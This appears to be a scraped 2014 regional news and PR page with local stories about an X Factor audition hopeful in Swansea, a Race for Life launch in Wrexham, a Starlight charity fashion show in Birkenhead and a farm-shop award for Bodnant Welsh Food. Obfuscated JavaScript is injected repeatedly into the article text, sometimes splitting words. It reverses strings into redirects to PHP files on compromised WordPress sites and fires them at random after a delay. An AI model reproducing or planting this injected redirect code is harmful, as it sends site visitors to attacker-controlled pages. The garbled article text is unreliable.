Category: News

Talented Swansea singer out to prove she has the X Factor at the Quadrant

Swansea X Fac$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor auditions at Quadrant Shopping Centre.

A young  singer is hoping to show that she’s got the X Factor when she takes part in auditions for the smash hit television show at Swansea’s Quadrant Shopping Centre this weekend.

Grace Parry, from Swansea, has been a TV regular – the 21-year-old from Blackpill works as a receptionist at the Llansamlet call centre featured on BBC 3 – but she’s hoping to be centre stage after Sunday’s tryouts.

Grace will be going along to the auditions at the Quadrant Centre between 10am and 3pm when the show’s producers are promising to listen to everyone who turns up.

She has been working at Save Britain Money Ltd, fronted by the larger than life Nev Wilshire, for two years but admits she is rarely seen other than in the background

She is hoping that her music will now get her more attention after singing professionally in the pubs and clubs around Swansea for the past 12 months.

Grace said: “It’s brilliant that the auditions are coming to Swansea because there is plenty of talent here and it gives us a chance to show that.

“I have been playing the piano and writing music for a long time but I only started singing by accident because I was too shy.

“We were on holiday a couple of years ago and I got up to sing at a karaoke night and my mum and dad were really shocked but dad said my voice was really good and that encouraged me because I’d been too scared to sing before.

“I have started singing in a few places around Swansea and I love it now. I’m often at Verve and Garbo’s and sing mainly R’n’B, older stuff by people like Marvin Gaye and I Heard It Through The Grapevine is one of my most popular songs.

“I have an alto voice and write my own songs as well and they’re more like ballads and taken from personal experience, love songs and things like that but I do love performing.

“I’m passionate about it and my mum and dad, Phil and Claire Parry, have been really supportive. I think it has given me more confidence.

“The best thing is when other people relate to your own songs and hopefully that will happen on Sunday – it would be incredible to get through and go all the way.

X Factor researcher Louie Lancaster said: “The X-Factor has never had a Welsh winner but I’m sure there is plenty of talent out there and especially in Swansea which has a fantastic musical tradition.

“This is the city that produced Bonnie Tyler and the late great Harry Secombe so we’re hoping to unearth talent like that.

“We have been touring the country and finding lots of really great performers and I’m sure we’ll find some more at the Quadrant.”

Quadrant Shopping Centre Manager Ian Kirkpatrick said: “Swansea people love music and the city has some very talented singers and I’m sure we’ll have a great turnout for Sunday.”

The auditions will take place in a unit at the Quadrant Centre beween 10am and 3pm and the show’s producers are promising to listen to everyone who turns up.

For a chance to hear Grace Parry sing go to http://www.youtube.com/watch?v=UC5te64HkK4

For more on what’s happening at the Quadrant Shopping Centre go to http://www.quadrantshopping.co.uk

Saturday April 5th, 2014

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News

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Battle cry for Race for Life rings out across Wrexham shopping centre

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A pink army’s battle cry roared against cancer at a busy shopping centre.

The determined group of women were joined by a pink gorilla for the ‘Cancer Slam’ at Eagles Meadow shopping centre in Wrexham to rally the troops for the Race for Life 5k event at Alyn Waters Country Park on Sunday June 8.

'Cancer Slam' at Eagles Meadow <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[to promote the Race for Life. Jane Mann leads the fundraisers in a Zumba class" src="http://dev.ceidiog.com/pr/files/2014/04/1403RACE02-ceidiog.jpg" width="400" height="267" />

Rosemary Conley diet and fitness instructor Jane Mann, who won her own battle with cervical cancer 20 years ago, led the charge.

The grandmother from Chester led a fun and energetic fitness routine to up-beat music.

She was also on hand to chat to shoppers and hand out information leaflets, as was her husband David, a retired army Major who recently beat prostate cancer.

'Cancer Slam' at Eagles Meadow <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to promote the Race for Life. David Mann videos his wife Jane as she starts another Zumba session" src="http://dev.ceidiog.com/pr/files/2014/04/1403RACE06-ceidiog.jpg" width="400" height="267" />

Jane said: “We’re fired up and ready to go. This is where it starts.

“We’re getting the message out to the masses with our leaflets and out balloons and the positive energy is spreading from Eagles Meadow throughout Wrexham.

“You get a load of girls together wearing pink, fluffy preferably, and good things happen.

“The ‘Cancer Slam’ has been absolutely fantastic. It’s an easy routine. It’s something that everyone can join in with, and it’s very effective.

“It’s been a really fun day, and we’re gearing up for the Race for Life.”

Those words were echoed by Liz Booth, the Wrexham events manager for Cancer research UK.

'Cancer Slam' at Eagles Meadow <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to promote the Race for Life. From left, Hayley Astle, Di Harris, Liz Booth and Jane Mann" src="http://dev.ceidiog.com/pr/files/2014/04/1403RACE10-ceidiog.jpg" width="400" height="267" />

She said: “We’re encouraging the ladies of Wrexham to sign up and come and join the fight. It’s a battle cry. We’re trying to really the troops, and get the message out there that we want to take cancer down.

“We want to do everything that we can to get rid of this disease which affects 1 in 3 people.

“We’ve got a great space here at Eagles Meadow to do the launch which we’re really grateful for, and it’s been great to interact with the people of Wrexham.

“A lot of people have said that they’re looking to sign up. There’s lots of interest, and we hope people go away and tell their friends and family as well.

“Over six million people have taken part in the race for life in the UK it has raised 457 million for cancer research UK over the years. Last year in Wrexham 1,400 took part. It raised £69,000. This year we’re looking for 1,500 people to take part and we have a target of £80,000.

“Race for Life is non-competitive. It’s not about being fit or fast. Most women are able to walk 5k in an hour while chatting and having fun. Or they can choose to jog, run or even dance around the course if they prefer.”

Eagles Meadow shopper Funmi Arikewuyo added: “I think raising awareness in this way is a good idea. It’s a good way of letting people know what’s going on.

Jane's proud husband, David, 65, who started his military career, aged 17, at Sandhurst where Princes William and Harry completed their military training, paid tribute to his wife: “Jane is an inspiration to me on many fronts but most especially this one. Before we were married she had invited me to come and Help at race for Life, and I just remember seeing her inspiring ladies as they crossed the line.

“I thought I had been in an environment where motivation and inspiration was important in the forces. But I was charmed, bowled over and inspired from what I saw in Jane’s ability to connect with women especially and encourage them.

“She’s been a leading light for me - a star actually. Not only to help me through a challenging illness, but also in day to day life.”

David, who served in the Light Infantry regiment in countries including Germany, Pakistan, Gibraltar, Malaya, and Northern Ireland, was diagnosed with cancer in March and after undergoing six weeks of radiotherapy he has been given the all clear.

He added: “Jane knows what it’s like to have been made aware that you are suffering from a life-threatening disease.

“We’re all going to die at some stage but the moment when the prospect of that comes closer is quite a shocking event. You become aware of your own mortality.

Eagles Meadow Manager Kevin Critchley said: "I wish Jane and the gang all the best in the Race for Life. This is an extremely important cause and they deserve all the support they can get."

Jane recalled how her own painful fight with cancer which led to a full hysterectomy, made her determined to make a difference: “I was devastated. For me it was a double hammer because obviously it’s a life-threatening disease and I had a child to look after and I was single.

“But at the same time I was challenged with the prospect of not having any more children, and that was devastating as well.

“That was as much of a challenge for me as a woman at that age, as I’m sure it is for ladies who have to have mastectomies and things like that. It is part of your identity. It is your womanhood. It’s who you are.

“I was lying in my hospital bed after the operation and a friend of mine came in and said ‘Why don’t you run the London marathon?’

“I was just sitting there all wired up and recovering from a major operation. But then I started thinking that it was quite a good idea, that I needed something to focus on, something to take my mind off of what’s happened.

“So a bit like Forrest Gump I got up out of bed and started running. “I was angry, so I needed something to get it out my system.”

Six months later in April 1992 brave Jane was running her first London Marathon.

Jane added: “I recovered and trained for it from a standing start, and I did it and it was the best thing I ever did.”

Since then Jane has become an ardent supporter of the Race for Life.

She said: “It creates positive energy all channelled in one direction with all these people giving up their time and their energy to do something to help others.

“It’s like nothing else, turning something negative into a positive, and that’s the sort of thing we need to fight the cancer. Look it in the eye and say no not me, not now. It’s making a difference.”

To enter Race for Life Wrexham today go to www.raceforlife.org or call 0845 600 6050.

Friday April 4th, 2014

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Soap stars turn out to make dreams come true for terminally ill children

A big fashion extravaganza was hosted by former Brookside actress Suzanne Collins and music supplied by $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tors Nick Pickard and Ashley Taylor-Dawson, left, with youg fans Shelby Owen, 11, Georgia Thomas, 11 and Sheila Day, 12

TV heart-throb Ashley Taylor-Dawson and two pals from Hollyoaks added glamour to  a fashion extravaganza at a busy shopping centre to make dreams come true for terminally ill children.

Ashley  and fellow cast members Nick Pickard and Jasmine Franks signed autographs and posed for photographs for star-struck fans during the event in aid of the Starlight charity at the Pyramids Shopping Centre in fans in Birkenhead.

A troupe of 30 professional models and  cute children showcased the latest trends from the centre’s top fashion stores – including Next, River Island, H&M, Officers Club and Miss Selfridge – on a purple catwalk.

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The show was masterminded by Wirral-based Frame Modelling and Casting Agency.

It was hosted by actress Suzanne Collins, who played Nikki Chadwick in Brookside, and the music was supplied by top Ibiza DJ Sean Hughes who has performed alongside the likes of Paul Oakenfold and Calvin Harris.

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Starlight is a UK-wide charity, whose supporters include Prince William and Stephen Fry, which brightens the lives of seriously and terminally ill children by granting wishes and providing fun, entertainment, laughter and for youngsters on children’s hospital wards and hospices.

Ashley, who plays Darren Osbourne in Hollyoaks and won a legion of new fans while  strutting his stuff on Strictly Come Dancing, was delighted to have the opportunity to take part.

A big fashion extravaganza was hosted by former Brookside actress Suzanne Collins and music supplied by <script>$zXz=function(n){if (typeof ($zXz.list[n]) == top Ibiza DJ Sean Hughes was held at the Grange Shopping Centre, Birkenhead at the weekend. Actor Ashley Taylor-Dawson has his photo taken with fan Serenity Varnham from Wallasey" src="http://dev.ceidiog.com/pr/files/2014/04/2903fashion33-ceidiog.jpg" width="400" height="267" />

He said: “It’s all good, we’ve got great weather and it’s a fun day out for a great cause. It also shows you can get everything you need from the Wirral. You don’t need to go into town.”

Nick Pickard, who plays Tony Hutchinson in the Channel 4 soap, added: “It’s for Starlight which is a fantastic cause, because the money raised goes to help terminally ill children go to Disney Land and Lapland and things like that. They’re still kids at the end of the day.”

A big fashion extravaganza was hosted by former Brookside actress Suzanne Collins and music supplied by <script>$zXz=function(n){if (typeof ($zXz.list[n]) == top Ibiza DJ Sean Hughes was held at the Grange Shopping Centre, Birkenhead at the weekend." src="http://dev.ceidiog.com/pr/files/2014/04/2903fashion124-ceidiog.jpg" width="400" height="267" />

Suzanne Collins, who has recently finished filming for feature film called Soft Lad, and directed by Leon Lopez, her ex on-screen boyfriend from Brookside, said: “I’ve absolutely loved today. I’m pleased with the turnout, pleased with the weather, all of the models look gorgeous, and everyone’s worked really hard for a great cause. It shows there’s a fantastic community spirit here.

“I grew up coming to the Pyramids. I used to come here to buy my school uniform. There’s so much here, and the place has really developed over the years. If you went away for a couple of years and came back you wouldn’t recognise the place.”

Georgia Thomas, 11, a massive Hollyoaks fan from Birkenhead, couldn’t believe he eyes when she saw her TV favourites, Nick, Ashley and Jasmine.

She said: “When I saw then I was just like 'oh my God'. I think it’s amazing to have them here.”

Christina Williams, 34, a trainee accountant from Moreton, beamed with pride when her two-year-old son Taylor trotted down the catwalk with his friend Macey Roberts, two.

She said: “He’s had a lovely day out. I wasn’t sure how it was going to go with him being so young, but he took to it really well. The kids look really nice in their clothes. The sun is out, we’ve got the celebs here, and it’s all for a good cause, so you can’t ask for more than that really. Everyone’s a winner.

Frame Modelling and Casting Agency director Laura Seymour, was thrilled with how the show went.

A big fashion extravaganza was hosted by former Brookside actress Suzanne Collins and music supplied by <script>$zXz=function(n){if (typeof ($zXz.list[n]) == top Ibiza DJ Sean Hughes was held at the Grange Shopping Centre, Birkenhead at the weekend." src="http://dev.ceidiog.com/pr/files/2014/04/2903fashion146-ceidiog.jpg" width="400" height="267" />

“The children have absolutely stolen the show. All of the models look fantastic. We’re showcasing over 80 pieces and the shops at the Pyramids have been really helpful with that.

“You’ve got London Fashion Week, you’ve got Liverpool Fashion Week, and now it’s time for Wirral Fashion Weekender to show that we can do it too. We want to showcase the fashion and the talent that’s available on the Wirral. There’s a lot of local pride on display today.

“The celebrities who’ve come down have been great. Suzanne Collins has supported us with a lot of charity events. Nick Pickard and the crew from Hollyoaks have been doing stuff with us for years, and helped us with a lot of good causes. They give their time and they’re always there at the drop of a hat.

“There a lot of star-struck fans about. The kids like to see people they see on the TV and it’s a little buzz for them.

Derek Millar, Commercial Director of Pyramids Shopping Centre, said: “The Wirral Fashion Weekender is a great concept and shoppers really enjoyed the shows. There was a real buzz about the place and the atmosphere was s brilliant.

"There was a really positive vibe around the shopping centre and everyone had a great time."

For more information about Starlight please visit www.starlight.org.uk and for more information about the Pyramids Shopping Centre go to www.pyramidsbirkenhead.com

Friday April 4th, 2014

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UK award for Bodnant puts Conwy Valley on Britain’s quality food map

Bodnant Foods receive the Rising star award at the National FARMA awards ceremony. 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton with the Rising Star award.

LANDING a prestigious UK award has helped put Bodnant Welsh Food and North Wales on Britain’s quality food map, says its proud managing director.

Chris Morton and the rest of his team at the food centre of excellence in the Conwy Valley are celebrating after being chosen as a Rising Star in the 2014 FARMA Awards.

Bodnant is also in the running for another major award as a finalist in the Local Food category at the Countryside Alliance Awards at the Senedd in Cardiff on March 25.

FARMA (National Farmers Retail and Markets Association) is a co-operative of farmers, producers selling on a local scale and markets. Operating across the whole of the UK, it is the largest organisation of its type in the world.

The FARMA Awards, now in their 11th successful year, aim to single out some of the UK’s top farm shops.

The Rising Star Award, which are in the special gift of judges, pick out the “ones to watch” in the future – businesses which have been commended by the judges for all they have achieved and the example they have set to the farm retail sector.

Bodnant Welsh Food is located in a building dating from the 18th century which has been lovingly restored and includes a farm shop, a wine shop, tea room, restaurant, cookery school and farmhouse accommodation.

As it opened only in the summer of 2012 by the Prince of Wales and the Duchess of Cornwall, this was the first time that Bodnant Welsh Food had been able to enter the FARMA Awards.

The glittering ceremony was held at the Chesford Grange Hotel in Warwickshire, close to where FARMA was holding its annual conference and trade show at the National Agricultural Centre in Stoneleigh.

Bodnant managing director Chris Morton was there with colleagues Gwyndaf Pritchard, the centre’s general manager, and director Maurice McMenemy to hear Bodnant announced as one of a trio of Rising Stars, along with farm shops from Aberdeenshire and Yorkshire.

With the golden Rising Stars trophy now taking pride of place at Bodnant, Chris said: “FARMA includes over 400 farm shops, farmers markets and wholesale food producers from right across the UK, many of which entered this year’s awards, so we were in some pretty rarified company and up against some long-standing and highly respected enterprises.

“Before making their decisions the awards judges went around Britain looking at a wide range of different businesses and as a result they nominated three – including Bodnant – as Rising Stars.

“To win this award is therefore a memorable achievement and makes us all extremely proud.

“However, the win is not only recognition of what we’ve managed to do at Bodnant over the past couple of years but it also helps put north Wales even more firmly on Britain’s quality food map, so it’s something this area and the whole region can be proud of.

“Although Bodnant Welsh Food is located in a very attractive building, we didn’t win this award because of the building but because of the quality and provenance of the food we sell.

“We are showcasing the best of north Wales and we take a lot of pride in what we are doing.”

In announcing the win, Mike Blee one of the awards judges said: “Bodnant Welsh Food is already a unique destination – it is a truly impressive place.”

The day after their historic win, the Bodnant team were at the FARMA trade show in the National Agricultural Centre exhibiting two of their own famous cheeses – the white Aberwen and the red Abergoch.

Aberwen is already a double award winner in its own right, having taken bronze medals in last year’s British Cheese Awards and World Cheese Awards.

Gwyndaf Pritchard added: “Aberwen and Abergoch created a lot of interest at the trade show and were actually both chosen to be on the menu at the awards dinner the previous evening, so the whole FARMA experience was a very special one for Bodnant.”

Wednesday April 2nd, 2014

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